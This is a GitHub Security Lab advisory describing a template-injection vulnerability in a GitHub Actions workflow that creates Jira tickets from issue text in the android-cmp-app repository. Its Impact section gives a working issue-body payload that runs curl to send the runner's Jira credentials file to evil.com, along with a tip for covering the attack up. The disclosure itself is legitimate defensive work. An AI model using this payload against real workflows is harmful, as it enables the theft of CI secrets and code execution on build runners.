Summary
Automatic GitHub workflow in SourcePointUSA/android-cmp-app repository is vulnerable to template injection from user comments.
Product
SourcePointUSA/android-cmp-app repository
Tested Version
Develop branch.
Details
Issue: Hidden expression expansion of input parameters passed to andresilveirah/gajira-create
Create Issue step in CreateJiraTicket.yml workflow is vulnerable to template injection.
${{ github.event.issue.title }} and ${{ github.event.issue.body }} are used to format input values to andresilveirah/gajira-create action:
- name: Create Issue
id: create
uses: andresilveirah/gajira-create@master
with:
project: SP
issuetype: Bug
summary: "[Android][TCFv2] ${{github.event.issue.title}}"
description: "${{github.event.issue.body}}\n This issue was reported by ${{github.event.issue.user.login}} via GitHub.\n ${{github.event.issue.html_url}}"
labels: "In-App,GitHub"
The andresilveirah/gajira-create is in fact an outdated fork of the Atlassian/gajira-create action. The action has a hidden feature - it expands {{}} internally. This way when the comment body contains an expression in double curly braces it is evaluated by node.js in these actions.
Impact
This vulnerability allows for arbitrary code execution in the context of GitHub runner. For example a user may create an issue with the body:
{{ process.mainModule.require('child_process').exec(`curl -d @${process.env.HOME}/.jira.d/credentials http://evil.com`) }}
which will exfiltrate the secret Jira API token to the attacker controlled server. To make the attack less visible an attacker may modify the issue to Never mind my bad and close it.
Coordinated Disclosure Timeline
- 10/29/2020: Report sent to vendor
- 11/06/2020: Issue resolved
Credit
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
Contact
You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2020-208 in any communication regarding this issue.